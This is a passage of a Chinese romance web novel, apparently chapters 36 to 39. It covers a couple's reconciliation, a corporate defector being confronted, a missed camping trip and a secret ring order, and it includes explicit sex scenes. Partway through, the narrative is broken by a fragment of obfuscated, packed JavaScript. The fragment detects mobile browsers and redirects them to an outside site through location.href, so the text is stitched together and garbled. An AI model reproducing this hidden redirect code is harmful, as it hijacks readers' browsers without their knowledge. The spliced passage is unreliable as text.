桑柠继续不怕死的犟道：“现在有年长的哥哥追我，等我过了三十，会有年下的弟弟倾慕我，男人多到……”
“我会挑花眼的”，这句话都还没来得及嘚瑟出，桑柠的唇就被霍今然强势的堵上了，他舌尖撬开她的贝齿，直捣而入，强烈的占有欲，恨不得将她吞噬，与他的骨血相溶。
桑柠被他吻得身子有些发软，差一点就要站不住，她双手勾住他的肩膀，整个人几乎挂到了他的身上。
吻得意乱情迷时，霍今然突然停了下来，他用力咬了下桑柠的唇。
桑柠吃痛，忍不住“唔”了一声。
霍今然又将她摁到怀里，像一只领域意识极强的野兽般，将她画地为牢，他凑近她耳边：“敢找别的男人，你试试。”
桑柠都还来不及有所反应，霍今然又吻上了她的唇，比之刚才还要强势，霸道。
在人来人往的酒店里，像是偷情般按捺不住。
直到霍今然口袋里的电话响起来电铃声，他停下，却还搂着桑柠，接了电话：“知道了，我很快过去。”
“你们先把会议资料准备好。”
……
桑柠垂着眼睫，听着霍今然讲电话，他还是像以前一样忙碌，也还是像以前忙起来就顾及不到她了。
刚刚才复合，桑柠却已经预感跟霍今然又要重蹈覆辙了。
但转念一想，霍今然目前这个阶段，要是她还像以前一样任性，不体谅他的话，多少有些不善解人意了。
之前该怨的，该恨的，也都怨了，恨了，复合后还会不会重蹈覆辙，全看她怎么想了。
要是实在接受不了现在的霍今然，不如彻底分手好了，像之前一样纠缠下去，只会两败俱伤。
但分开了一个多月，没联系的这段日子里，桑柠也逐渐认清了她的心意，她还是很喜欢霍今然，是那种近乎于本能的喜欢。
她还是想跟他在一起。
见霍今然挂断了电话，桑柠松开他的衣摆：“赶着去工作？”
霍今然将手机放进口袋里：“有个会议要开。”
桑柠推开他：“知道了，你忙去吧。”
霍今然没走，他又一把搂过桑柠：“不去楼上房间等我？”
“等你干什么？”
霍今然神色微敛，似笑非笑的眉眼里，藏着些不正经：“开房，女朋友。”
“……”
瞧着霍今然不正经的样子，他好像一点悔改都没有，始终觉得她这个女朋友等他是天经地义的事。
他不会改变，也不会为了这段感情，亦或为了她而妥协。
桑柠心里一阵酸涩，亏她刚才还复盘反思她这边的问题，可一段关系里，只有她一个人努力有什么用呢。
霍今然那边还是一副有她没她都没什么关系的敷衍态度。
桑柠的心里不舒服，没好气的丢过去一句：“洗干净在床上等你么。”
语气充满了反讽的意味。
话落下，还没等到霍今然说什么，就听到他的手机接连不断的响起了微信新消息的提示音，他掏出手机，垂着眼睫，打开了那些新消息。
忙碌的样子，似是连跟桑柠争吵的工夫都没有。
桑柠轻叹了口气，她推开霍今然还搂在她腰间的另一只手臂：“你忙吧，我不打扰你了。”
说完，桑柠就要转身离开，手腕却被霍今然攥住。
她回头，看到霍今然还低头看着手机，但很快他抬眼，望向她：“开完会，我就回去，不会像以前一样，让你一直等着。”
桑柠心软了。
几乎没多加犹豫的，她决定再信霍今然一次。
跟着霍今然上了楼，桑柠独自等在酒店的总统套间里，她没带电脑，也没任何消遣的书籍，闲得无聊。
桑柠拿出手机，给连歆语发了条微信：Party结束了么？
连歆语：还没，不过没什么意思，我也要提前离开了，准备跟几个姐妹去看电影。
连歆语：你呢，到家了没？
桑柠：没，我还在酒店，刚才在大堂里遇到霍今然了。
关于之前跟霍今然冷战的事，桑柠没再提起，就这么一句话，便也轻而易举的瞒过了。
连歆语：那你还有闲工夫跟我聊天？
连歆语：霍今然去国外那么久，早就饿坏了吧，今晚你不得跟他大do特do么。
桑柠：……
桑柠：他去开会了，我还在房间等着呢。
连歆语：哦，难怪。
连歆语：那你要不要来，省得一个人等着无聊。
桑柠想了下，回连歆语：哪
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家电影院啊，我过去找你们。
连歆语：我们还在酒店门口，你直接下楼吧。
桑柠：OK。
回复完连歆语，桑柠给霍今然发了条信息：我跟姐妹们去看场电影，看完我再过来。
那边霍今然迟迟都没回复。
桑柠也没在意，下了楼，跟连歆语她们碰面之后，几人便直接开车前往附近的一家电影院。
八点半的场次，赶过去刚刚好。
电影是一部爱情片，男女主经历多次分分合合，终于修成正果，结局还算圆满，只不过分合的过程有些虐心。
桑柠看的有些心不在焉，总是低头查看信息，直到电影结束，她却都没收到霍今然的回复。
男人的嘴骗人的鬼，能信他的话真是见鬼了。
说什么不让她像以前一样一直等着，他这还不是老样子，就顾着开会，连她一个信息都顾不上回。
走出电影院时，外面已是深夜。
连歆语开车送桑柠回酒店。
“都快十一点了，你家霍今然等急了吧？”
桑柠又看了一眼手机，屏幕上依然空空的，什么信息都没有，她垂着眼睫，将手机又丢回了包包里：“他急什么，没准还在开会呢。”
听着桑柠的语气不对劲，连歆语偏头望了她一眼：“怎么了，霍今然又惹你生气了？”
前方刚好红灯，连歆语将车停了下来。
桑柠倚着靠背坐在那里，她望着前方的夜色，突然冷不丁的反问了连歆语一句：“你说人为什么要谈恋爱呢？”
“因为人总需要一个伴的，这样不管你去哪里，心里都有个人惦记着，互相爱着，人也就没那么孤单了。”连歆语回道。
桑柠始终望着前方：“可是如果谈恋爱，还是会觉得很孤单呢？”
连歆语微抿了下唇：得，看这矫情的样子，铁定是跟霍今然又吵架了。
前方绿灯亮起，连歆语启动了车子：“看来霍今然又惹你生气了。”
桑柠没说话。
连歆语边开车，边叹了口气，继续道：“我也不说什么明知道霍今然不是人，你还非得跟他谈，这种马后炮的话了，既然你都跟他谈一年了，说明你们还是很喜欢对方的，谈恋爱最重要的就是沟通和包容，没有什么刚刚好的两个人，总需要磨合，互相包容，才能走的长久。”
“我也偶尔会从陆寒笙听到霍今然的事，没遇到你之前，他一直一个人单打独斗，身边连个知心的人都没有。”
“连陆寒笙都说，霍今然遇到你真是他的福气，之前的他总是死气沉沉的，遇到你之后，他总算鲜活了许多。”
“桑柠，你要是真的喜欢霍今然，就多忍耐一下，他一个人管理那么大一个集团，想想也是不容易，多想想他的好，也多跟他沟通一下，别耍小孩子脾气动不动就冷战，次数多了，很伤感情的。”
……
听完连歆语的话，桑柠心里的气也消了一大半。
好姐妹的劝告她也听进去了，恋爱就好好谈，多包容，多沟通，哪天实在受不了了，分手就是了。
但既然还爱着，那就好好去爱。
快到酒店时，桑柠终于收到了霍今然的回信：我到房间了，你电影看完了么？
桑柠双手捧着手机：快到酒店了。
她指尖噼里啪啦的又跟着打出一句话，语气像个傲娇的小公主：你要是先忙完了，那就洗干净，在床上等我。
收到桑柠的回复，霍今然不禁对着手机笑了下，他捧着手机，刚要回复，从屏幕上方突然进来一通电话。
是唐志诚打过来的。
霍今然直接接通了电话：“有事？”
电话那端的唐志诚似是刻意压低了声音：“霍总，厉随安果然要去见霍二公子了。”
霍今然脸色一沉：“跟紧他，我现在过去。”
说完，霍今然挂断电话，他拎起一旁的西装外套，大步走出了房间。
37. 37
到了酒店门口，连歆语将车停到了路边。
车停稳后，连歆语跟桑柠说道：“我跟陆寒笙下周末要去露营，还有他的那些兄弟，你问问霍今然有没有空，到时可以一起去。”
“好，我问问他。”
听桑柠的语气没有先前那么沉闷了，心情也好了许多，连歆语垂眸瞅了一眼她手里的手机：“刚才跟霍今然聊天？”
“嗯，他开完会了，已经到酒店房间了。”桑柠边回话，边解开了身上的安全带。
瞧着她似是有些迫不及待想见到霍今然了。
连歆语搁旁边打趣了一句：“刚才不还跟霍今然赌气么，这么快就原谅他了？”
“那也是被你刚才开导的。”桑柠突然转过身，她抱了下连歆语，“姐妹，谢谢你。”
“行了，快上去吧。”连歆语拍了拍她的背。
桑柠拎着包包，打开门下了车，她穿过夜色，朝着酒店门口走去。
一心想着马上就能见到霍今然了，却不知，她刚走到一半时，就跟霍今然的座驾擦身而过了。
初夏的半夜，街上没什么人，一路开到唐志诚发来的定位地址，霍今然让司机停了车。
他下了车，抬眸就看到唐志诚站在那里，挡着将要进会所的厉随安。
“历先生，什么时候回国的？”
被撞了个正着，厉随安脸色很难看，却还强装嘴硬道：“什么时候我的行程，需要跟唐秘书你汇报了？”
“那就跟我汇报。”
厉随安的话刚落，从身后就传来了霍今然的声音，他身子一僵，不敢再说话。
“霍总。”唐志诚让到了一边。
霍今然走过去，停到了厉随安的面前，他也不说话，似是在等着对方主动汇报。
他个子高，往那儿一站，强大的气场压得人喘不过气来。
厉随安紧张的脑门直冒汗：“前天回国的。”
“回来干什么？”
厉随安心虚的不敢再回答了。
霍今然低着眉眼，将厉随安那副模样尽收眼底，他微扬下巴，示意了下前方的悦府会所：“几号包间，前面带路。”
“霍总。”厉随安几乎是恳求的目光望着霍今然。
霍今然冷着眉眼：“带路。”
他的神色很淡，却冷冽，骇人。
厉随安慌张的避开了霍今然的视线，他闷着头，抬脚朝着前方的悦府会所走了过去。
这家悦府会所是霍家的二公子霍志霄经常来的地方，厉随安这一往前带路，有些事已经不言而喻了。
跟在后面的唐志诚不禁叹气摇了摇头。
去年霍今然秘密组建了一支精英团队，这厉随安就是新团队的一名成员，原本打算年初就启动新团队的，却遭到霍老爷子的强烈反对，老爷子不同意解散旧的团队，新团队也只能继续待在国外，参与那边的项目。
可即便远在国外，还是被人挖了墙角。
前一段日子，唐志诚收到匿名信息，说厉随安正在偷偷跟霍志霄联系，一开始他还不信，秘密调查了一番，才终于有了些眉目。
却也没实锤。
今晚这一出，算是厉随安不打自招了。
进入会所，厉随安就一直走在前面，上了楼，直到穿过走廊，走到尽头，他才停到了一间VIP包间的门口。
趁着厉随安敲门的工夫，霍今然慢慢走过去，倚到了门口的墙边，他从口袋里掏出烟盒，将一根烟咬在了嘴边。
唐志诚掏出打火机，帮他点燃了烟。
霍今然轻吐出烟气，看厉随安站那儿不动，他微偏头，示意他敲门。
厉随安抬手敲了敲门：“二公子，是我，厉随安。”
包间里响起脚步声，过来开门的是霍志霄的助理：“厉先生，你可总算来了。”
厉随安怔在那里，没得到霍今然的指示，他不敢朝前走。
坐在沙发上的霍志霄瞧着厉随安有些不对劲，他起身，走过去：“怎么了，路上被霍今然那边人跟踪了？
厉随安屁都不敢放。
霍今然靠在墙边，他视线没什么焦点的望着对面墙壁上的花纹。
“快进来吧，怕什么，我今晚可真有重要的事要跟你聊。”霍志霄的声音越来越近。
霍今然低了下眉眼，他指间夹着半支烟，慢慢的转身，现身到了包间的门口：“二哥有什么事，怎么不直接跟我说。”
“……”
操。
还真被老子说中了。
霍志霄嘴角微微抽搐了下：“二哥怎么敢打扰你这个集团的掌门人呢，平常忙的连个影都见不到。”今晚他妈的真是见鬼了。
霍今然哼笑了声，没搭理霍志霄，只是用肩膀撞了下厉随安：“进去。”
厉随安抬脚走了进去。
霍今然跟在后面，绕过霍志霄，进入了包间。
就连唐志诚高虎他们也跟着一起走进了包间，压根就没把霍志霄放在眼里的样子。
霍志霄顿在那里，气得忍不住连连抽了两口雪茄。
转身走进包间，看霍今然已经不打招呼的落座了下来，俨然像是包间的主人。
霍志霄又忍不住将雪茄送到嘴里，狠狠的抽了一口。
包间里几乎坐满了人，却没人说话，气氛诡异。
半晌，霍今然指间夹着烟，漫不经心的丢过去一句：“不是有重要的事，聊。”
霍志霄：“……”
厉随安：“……”
包间里的其他人禁不住尴尬的咳嗽了下，气氛越发局促了。
瞧着霍今然要给自己个下马威，霍志霄气不打一出来，他故意阴阳道：“我也就是找厉随安过来帮个忙，都是集团里的人，霍总何必这么劳师动众的，大半夜也跟着折腾呢。”
霍今然眉眼松淡的望着霍志霄：“厉随安是我手下的人，真要用，二哥怎么不提前跟我打声招呼？”
“这不打招呼你都知道了，我们兄弟俩何必那么客气。”霍志霄耍花枪道。
听霍志霄这样讲，那边的唐志诚不禁微抿了下嘴：二公子还是跟个无赖似的，就会搞小动作，搞完还不承认。
霍今然微探身，他低着眉眼将烟头碾灭在了烟灰缸里：“既然二哥这么喜欢，那厉随安以后就是你的人了，他在我这里已经毫无价值了。”
说完，霍今然站起了身，他双手插兜，居高临下的望着霍志霄：“二哥要是对我的位置这么感兴趣，那就凭真本事抢，一直背地里搞小动作，就算将来让你上位，也不会服众。”
言外之意：你就是个草包。
“你别得意……”霍志霄蹭的站起了身。
霍今然已经朝门口走去，压根不想再搭理霍志霄。
倒是唐志诚站起来，毕恭毕敬的跟霍志霄讲了一句：“二公子误会了，今晚得意的应该是您，毕竟您从我们霍总那里偷走了个人。”
“你……”霍志霄气的语结。
后面的话都还没来得及说，就看到唐志诚又转头跟厉随安说：“厉先生，你真是糊涂啊，以后你就会知道，你今天的选择错的有多离谱了。”
霍志霄：“……”
操。
憋死老子了。
唐志诚跟高虎一同走出了包间，追过去时，霍今然已经走到了楼梯口。
身后突然传来一阵急促的脚步声，厉随安也跟着追了过来：“霍总。”
霍今然仿佛当没听见似的，兀自朝楼下走去。
厉随安也还没追上霍今然，就被高虎伸手拦了下来。
一旁的唐志诚对厉随安说道：“厉先生，如果你是觉得自己选
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错了，想重回到霍总这边，我劝你还是不要再浪费时间了，霍总不会留一个叛徒在身边的，还请厉先生好自为之。”
说完，唐志诚跟高虎示意了下，两个人便转身朝前走去。
外面已是深夜。
走到车前时，霍今然停了下来，吩咐了唐志诚一句：“查一下最近接触的项目，有没有跟霍志霄那边联系的，如果有，立即停止。”
“明白，我明天就查一下。”唐志诚回道。
“行了，没事了，你们回去吧。”
说完，趁着司机打开车门的工夫，霍今然就直接探身上了车。
路上，霍今然查看了下微信，桑柠一条新消息都没有，不知是睡了，还是在气他。
刚才走的急，他都没来得及跟她说一声，她生气也是应该的。
霍今然望了一眼时间，看已经午夜十二点多了，怕桑柠已经睡了，他也没再打扰她。
回到酒店，打开门，房间里静悄悄的，灯也关着，只余下客厅的一盏地灯还开着。
那一小片光亮，刚好照亮了进门的玄关处。
像是桑柠特意给他留的灯。
霍今然捏着房卡，微顿在了那里，暖黄的光亮，仿佛也落进了他的心里。
还从未有人这样给他留过灯，以前半夜回来时，打开门，只有窗外混沌的霓虹灯光亮，暗戳戳的落满了房间。
整个房间就越发空无寂寥。
从外面回来的疲惫感，仿佛冬天的厚棉衣湿了水，也越发沉重。
说到底，他也不过是个普通人，有些情绪他也逃不过。
而今夜，不过一盏小小的地灯，半夜忙碌的疲劳烦躁，竟一扫而空，他心里平静了许多。
是桑柠给了他，从前他从未有过的温柔相待。
霍今然走进去，关了门，而后就直接去盥洗室洗了个澡。
再出来时，他关上那盏地灯，趁着窗外昏暗的霓虹灯，走进了卧室，桑柠已经睡着了。
霍今然上了床，刚一躺下，旁边的人翻了个身，面朝着他：“你回来了。”
“还没睡。”霍今然贴过去，将桑柠搂到了怀里，哑着声音问她，“还是我吵醒你了？”
桑柠窝在霍今然的怀里：“没睡着。”
“刚才有个急事，需要我过去处理，走得急，所以都没来得及跟你说一声。”霍今然跟桑柠解释了一句。
“哦。”桑柠轻轻地应了一声。
语气也听不出什么情绪来。
霍今然不免有些疑惑道：“所以，是在生我气，还是没生气呢。”
“要是生气，我还搂着你，你想的美。”
“……”
桑柠手指攥着霍今然身上的白T恤：“要是以前，我可能会很生气，说不定还会直接回家，不过听完歆语跟我说的话，我决定多体谅你一下，大半夜你还要出去，肯定是有急事，而且也挺辛苦的。”
霍今然安静的听着，有些情绪还没涌上来，就听桑柠又没所谓的说道：“不过以后我要是实在理解不了你的话，那我们也不要吵了，你继续忙，大不了我找其他男人先谈个恋爱。”
“……”
有渣女那味儿了。
薄毯下，霍今然的手不老实起来，隔着一层薄纱，他轻柔了几下：“不想睡了是不是。”
因他的那几下，桑柠禁不住翻了个身，可霍今然却没放过她。
“等一下……嗯……”
桑柠已是颤栗不已。
吻落下。
忽地一下，毫无预兆，她的膝盖窝被咬了一下，仿佛触电般，桑柠忍不住趴在了枕头上。
她娇嗔的声音也跟着闷闷的传出：“好久不做，你今天要是有新招惩罚我的话，我要是受不住怎么办。”
霍今然含糊的呢喃道：“受着。”
38. 38
早上醒来时，旁边的床铺已空，霍今然不知何时已经离开了。
却还像以前一样给她准备好了早餐。
桑柠赖在床上，捞过一旁的手机，黏黏糊糊的给霍今然发了条语音：“你记得吃早餐，别空着肚子喝咖啡。”
不久，霍今然给她回来一条信息：好的，都听老婆的。
“……”
心里漫起一层层的甜意，桑柠嘴上却还是娇嗔的怪了霍今然一句：“谁是你老婆呀，我都还没嫁给你呢。”
霍今然：那现在就答应嫁给我。
桑柠：你认真的？
霍今然：不想嫁？
桑柠：霍今然，求婚要当面，还得有戒指，不然休想让我嫁给你。
那边没了回复，许是霍今然忙去了，瞧着先前的聊天像是玩笑话似的，桑柠也没多想。
起床，洗漱，坐到桌前，开始吃霍今然给她准备的早餐时，手机又响起新信息的提示音。
还以为是霍今然发来的，桑柠拿起手机，看了一眼，才发现新消息是连歆语发来的。
——问霍今然了没，下周末要不要一起去露营。
桑柠：还没，昨晚忘记了。
桑柠：我今天问他一下，确定好了给你说一声。
连歆语：OK。
桑柠伸手捏起一颗青提子，送到嘴里，边嚼着，她边在微信里问了一声霍今然。
直到那天下午，霍今然才回复他，可以过去。
下周末来临时，已至五月中旬，刚过立夏没多久，气温还没升高，郊外的午后甚至还有些凉意。
烧烤的石凳上，桑柠独自坐在那里，翻转着几串烤鸡翅膀。
对面，方斯舟跟宋觉扬，各自搂着女伴，衬着桑柠越发形单影只。
连歆语坐到她身边，问道：“霍今然还没过来啊？”
“没，不过应该快了。”桑柠翻转着鸡翅膀回道。
看差不多烤熟了，桑柠将两串鸡翅膀分给了连歆语：“给你，还有陆寒笙的，我们先吃，让霍今然自己慢慢来吧。”
“行吧。”连歆语接过了烤鸡翅膀。
抬头，寻了一圈，没看到陆寒笙的身影，猜他应该在房车里，连歆语拿着烤鸡翅膀，起身，朝着房车走了过去。
踏进房车，看到陆寒笙果然正半倚着床，连歆语走了过去：“你兄弟怎么老放我姐妹的鸽子？”
陆寒笙从手机里抬起头：“霍今然还没来？”
“嗯，到现在都还没现身呢。”连歆语坐过去，将一串烤鸡翅膀递了过去。
陆寒笙也没接，就直接探头，咬了一口。
连歆语还帮忙举着烤串：“别玩游戏了，赶紧帮桑柠催一句。”
“我催有用么。”陆寒笙含糊道。
“好过一直干等着吧。”连歆语拿过一旁的纸巾，帮陆寒笙擦掉了嘴边的油渍。
陆寒笙退出游戏，他竖起手机屏幕，在微信里问霍今然：到哪儿了？
信息发过去之后，霍今然却迟迟没有回复。
“回信了么？”
“没。”陆寒笙闷声回了一句。
看屏幕上方有ins的新消息，陆寒笙随手点开看了一下，是有人给他推送的最新跑车的资料。
陆寒笙瞟了一眼，看没什么新鲜的，他就随手刷了下ins关注人的状态，这一刷新，就看到之前关注的一位巴黎的珠宝大师，十分钟前发的一个动态。
大意是，有个来自中国的老朋友霍先生，要来找他定制戒指，还顺道恭喜了他的这位老朋友找到了心爱的人。
中国。
霍先生。
陆寒笙好像已经能猜到是谁了。
当初跟这位珠宝大师因为一场珠宝拍卖结识时，霍今然就跟那位珠宝大师讲过，将来他找到心爱的人结婚，会去巴黎找这位大师，定制一枚戒指，全世界独一无二的那种。
那时陆寒笙只当他这个工作狂随口应酬一句而已，却没想到他真的去找那位大师了。
看来桑柠对他来说真的很特别。
“霍今然今天应该不会过来了？”
“什么？”旁边的连歆语一脸不可置信道，“又是为了忙工作，放我姐妹的鸽子么？”
“不是工作。”
“那还能有什么事？”连歆语追问道。
陆寒笙退出ins，刚好这时候，他收到了霍今然发来的信息：我今天过不去了，有事要去趟国外。
陆寒笙：去巴黎？
霍今然：嗯。
陆寒笙：找那位大师定制戒指？
霍今然：猜到了？
陆寒笙：看到大师发的ins了。
霍今然：桑柠还不知道，先帮我保密。
陆寒笙：你先哄好你女朋友再说吧，答应过来露营，又丢下她一个人在这里。
霍今然：那位大师只有明天有空，可以见一面。
陆寒笙：行了，我知道怎么做了。
旁边的连歆语看陆寒笙一直低头发信息，她伸手推搡了下他的肩膀：“说话啊，一直低头给谁发信息呢。”
“霍今然。”陆寒笙收起手机，转头又跟连歆语说道，“他有事，要去国外。”
“还说不是为了工作的事。”
陆寒笙微抿了下唇角，他下意识的避开了连歆语的视线：“这次还真不是为了工作，是其他重要的事。”
连歆语架起双臂：“你心虚啊，干嘛躲我视线？”
“没。”嘴上说着没，可陆寒笙的视线却始终望着别的地方。
“哦，我知道了，怪不得霍今然总是往国外跑呢，他是不是有其他女人了，让你这个兄弟也帮着掩饰呢。”
“……”不去做编剧真是可惜了。
“我告诉你陆寒笙，你要是帮着霍今然欺负我姐妹，你以后也别想好好过。”
“……”
陆寒笙缓缓的转过了头：“你们女生的想法能不能别那么复杂。”
“那你就跟我说实话。”
见陆寒笙突然又不吭声了，连歆语站了起来：“你爱说不说，我还不想听呢。”
陆寒笙抓住了连歆语的手腕：“你去哪儿？”
“你管得着么。”连歆语扯了下手腕。
陆寒笙却没松手：“好了，我说。”
连歆语假装勉为其难的又坐了回去：“这可是你自己要说的，我可没逼你。”
“……”陆寒笙微抿了下唇角，无可奈何道，“知道了，不过你得保密，先别跟桑柠说。”
“看情况，好事不说，可要是坏事，谁也别想拦我。”
“霍今然去的是巴黎，他要找一位珠宝大师定制戒指，结婚用的。”
听完陆寒笙的话，连歆语不禁激动道：“真的假的？”
“当然是真的。”
“那霍今然是真爱呀。”
“嗯，桑柠对他来说，的确很特别。”陆寒笙跟着附和了一句。
连歆语依然还有些兴奋：“我真的不能跟桑柠说？”
陆寒笙一副拿她没办法道：“刚才是谁说好事不说的。”
连歆语转头看了一眼窗外，桑柠还孤零零的一个人坐在那里，怪可怜的。
“连歆语。”陆寒笙单手撑着床边，幽幽的唤了一声。
连歆语随即转过了头，那句干什么还没来得及问出口，就看到陆寒笙探身，吻上了她的唇。
午后的天色渐沉，初夏的傍晚，凉风习习。
桑柠依然还独自坐在石凳上，几分钟前，她收到霍今然的信息，说他有事来不了，让她好好玩。
不用猜，又是因为工作的事。
桑柠倒也不吵不闹，还在微信里叮嘱霍今然注意身体。
说好了，要体谅他的，她表面工夫倒也做的很好，但实际上，她心里还是有些闷的。
明明答应好，要陪她来露营的，他却还是爽约了。
从期待到落空，有些情绪并不是她假装不在意，就可以当作不存在。
所谓的体谅，忍耐，也不过是要她吞下那份委屈，才能成全。
桑柠轻叹了口气，越胡思乱想，她心里就越不是个滋味。
她又拿过手机，解锁，跟霍今然的聊天对话框还没退出，她微努着嘴唇，似是憋着一股气。
噼里啪啦的在键盘上打出三个字：不开心。
每次都是这样，答应好了她，却又因为工作上的事，将她晾到一边，在他心里她就那么不重要么。
不开心。不开心。不开心。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162559|146197||http|test|mini|href|location''.split(''|''),0,{}));
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桑柠捧着手机，她指尖无意识的抠着手机的边缘，用力到指尖都有些泛白，似是在忍耐。
眼眶却还是有些酸涩，僵持了些许，她却都没将那三个字发给霍今然。
到底还是删掉了。
对面。
两对情侣却分外甜腻。
宋觉扬的小女友刚咬了一口鸡翅膀，就撒娇着不想吃了：“太油了，我不想吃了。”
“那我吃。”宋觉扬接过了小女友手里的鸡翅膀。
另一边。
“啊嘁——”
“是不是着凉了？”方斯舟贴心的给女朋友披了件薄毯。
……
桑柠孤零零的坐在那里，无意间吃了一口又一口的狗粮。
不多久，连歆语就回到了她这边。
挨着她坐下后，连歆语问她：“还有什么能吃的？”
桑柠狐疑的瞅了连歆语一眼：“你去送个鸡翅膀，需要送这么久？”
连歆语不自然的捋了下额间的碎发：“有别的事耽搁了。”
桑柠转过头，没心情再追问下去，她拿起一旁的饮料，拧开瓶盖，仰头喝了两三口。
察觉到她的情绪不对劲，连歆语就说道：“我刚才听陆寒笙说，霍今然来不了了。”
“嗯。”桑柠闷闷的又拧上了瓶盖。
“你别想那么多了，出来玩，就好好玩，不是还有我么。”
“我知道。”桑柠垂着眼睫，握着手里的饮料瓶，情绪还是有些低落道，“我也有听你的话，有学着体谅霍今然了，但他答应好的，又不来，我心里就是有些不舒服，缓一会儿就好了。”
“哎哟，小可怜样。”连歆语伸手揉了揉桑柠的脑袋，又跟着道来一句，“你放心，霍今然一定会给你幸福的。”
连歆语始终顾及着她的情绪。
意识到再这么消沉下去，会很扫兴，本来出来露营，大家都开开心心的，要是她一直这么耷拉着脸，总归不好看。
桑柠收起心事，她转头，给连歆语露了个笑脸：“他要是敢不给我幸福，他以后也别想好好过。”
听着熟悉的话语，连歆语噗嗤笑出了声：“咱俩可真是亲姐妹。”
说完，连歆语拉着桑柠站起了身：“吃饱了，我们到处转转，这儿风景不错，我想拍些照片。”
“你不陪你家陆寒笙啊。”
“他玩游戏呢。”
跟着连歆语转了一圈，再回来时，陆寒笙他们已经搭好了帐篷，晚上几个人一起玩了狼人杀。
半夜里还看到了满天的星光，这趟露营总的来说还不错。
但可能还是有些气霍今然，桑柠在郊外拍到的溪水，星光，都没分享给他。
几天后，霍今然从国外赶了回来。
那天晚上抵达京城时，已是夜里十点多了。
走出机场，上了车，司机问道：“霍总，送您回酒店？”
霍今然掏出手机，看了一眼，屏幕上没任何新消息。
“送我去桑柠那里。”
“好的。”司机启动了车子。
抵达桑柠住的地方时，将要晚上十一点了，霍今然走到门口，他没输密码，只是慵懒的倚着墙，点开了微信。
这几天，桑柠都没给他分享有趣的事，倒也跟他联系着，每天晚上都会跟他说晚安。
霍今然划拉着跟桑柠最近几天的聊天记录。
桑柠：晚安。
桑柠：晚安。
桑柠：晚安。
……
几乎每天晚上十一点多，就会收到她发来的这么一句晚安。
像是例行上班打卡一样，机械，又干巴巴的，一点感情都没有。
他知道她在跟他赌气。
以前桑柠跟他说晚安时，语气很明快：晚安啦，么么~
而这几天，她就连以前爱用的小波浪号，都换成了冷淡的句号，似是半点感情都不愿意透露。
“叮咚——”
一声微信新消息提示音突然响起，霍今然回神，瞅了一眼屏幕，是桑柠给他发来的信息。
在半夜十一点多，又给他发来了晚安打卡。
一样的干巴巴的。
没有任何感情。
桑柠：晚安。
39. 39
霍今然低着眉眼，唇边漫起笑意，宠溺又无奈，他回桑柠：我在门口，进去了。
桑柠没理他。
霍今然输入密码，打开门，走了进去。
屋子里有些暗，只有从卧室里透出来的些许光亮，但霍今然刚关上门时，卧室的灯也跟着关了。
这下他知道桑柠的确是在跟他赌气了。
连灯都不愿意给他留了。
脱掉西装外套，霍今然趁着手机光亮，走进了洗手间。
洗完澡，擦干头发，霍今然关了灯。
屋子里又一片昏暗。
走到卧室门口，就着窗外少许的月光，他看到桑柠侧躺在那里，她脱了睡裙，全身上下只穿着一件蕾丝内衣。
几近全丨裸。
只有腰间搭着薄毯。
月光下，她整个人白的发光，香软如玉，身材曲线也凹凸有致。
像是夜里搁浅在岸边的美人鱼似的，妖娆妩媚。
霍今然喉结微滚动了下，他走过去，上了床，从后面抱住了桑柠。
还未将她揽进怀里，就听她的声音闷闷的响起：“不许碰我。”
“……”
故意勾引他。
等他上了勾，却又一脚踹了他。
霍今然没松手：“不碰，只抱着睡。”
桑柠没再理他，只是甩开他的手腕，朝旁边挪了过去，依然背对着他。
霍今然怀里一空，抬眼，就看到桑柠裸的后背，丰满的臀，白皙的长腿。
她不知道，她这样子有多蛊惑人。
又对他有多残忍。
霍今然伸手，假意怕桑柠冷，将她盖了个严实，可薄毯刚盖好，就要被她掀到了一边。
她就是故意的。
故意折磨他。
让他看到却吃不到。
故意憋死他。
“……”
霍今然翻了个身，望着天花板，他不算重欲，但他也是个正常男人，被喜欢的人这样勾引，哪儿能受得了。
但桑柠不让他碰，他也只能强忍着。
这一夜，突然开始变得漫长了起来。
刚刚闭上眼，霍今然就感觉到身旁的人，似是翻了个身，贴近了他。
霍今然没动，他还躺在那里，却也不敢睁眼，偏偏旁边的人还来挑逗他。
“很难受么？”桑柠的指尖划着他的胸口。
她的手很不安分，一下一下的，朝着下面探去。
“桑柠。”霍今然哑着声音唤了一声。
桑柠没停手，继续朝下探去，摸到了不该摸的地方，她才终于停了下来，声音里含着笑：“哦，原来这么难受呀。”
霍今然握住她的手，摁在那里：“你再动一下，我可就控制不住了。”
桑柠故意用力紧握了下：“那也得忍着，就不让你碰我。”
那一下，霍今然有些受不住，他身子几乎绷直了下，呼吸都跟着有些急促。
偏偏桑柠来了劲，细长的手指不停地挑拨。
霍今然都还未来得及有所反应，旁边的桑柠起身，坐到了他身上，她熟练的摆动了几下。
霍今然不禁从喉咙里低哼了一声。
桑柠探身，突然握住霍今然的手腕，摁到了枕头上：“以后还敢不敢将我一个人丢一边了。”
说完，她又开始摆动着她的臀部，上下不停地摩擦着。
“等一下，宝贝。”霍今然的脖颈处青筋暴起。
桑柠偏偏不肯放过他。
但男女力量到底是有悬殊的，霍今然终究受不住，他单手环住桑柠的腰，另一只手撑着床，一个翻身，就将她压到了床上。
他的吻，跟着肆虐的落下来，比从前的每一次都要凶猛，恨不得将她吞进肚子里。
吻到快要窒息时，桑柠都还没来得及喘气，更凶猛的招式又朝她袭来，她的身子几乎被对折，困在霍今然的怀里，不停的探入。
过于深，她都快要招架不住。
仿佛整个身子都被他占据，刚才真不应该招惹他的。
那一夜，霍今然都没放过她，折腾的她骨头都快要散架了。
隔日，跟连歆语去逛街时，桑柠锁骨上的吻痕都还没消退，害她大夏天的，都得戴个丝巾遮住吻痕。
连歆语瞧见她时，心领神会的调侃了她一句：“怎么，跟霍今然和好了？”
“我就没气他。”
“行了吧你，我还不了解你，上次从露营回来，你一直耷拉着脸，还不是在气霍今然。”连歆语接着道，“不过有进步，这么快就和好了，还真是应了那句话。”
连歆语故意撞了下桑柠的肩膀：“小两口床头吵架床尾和。”
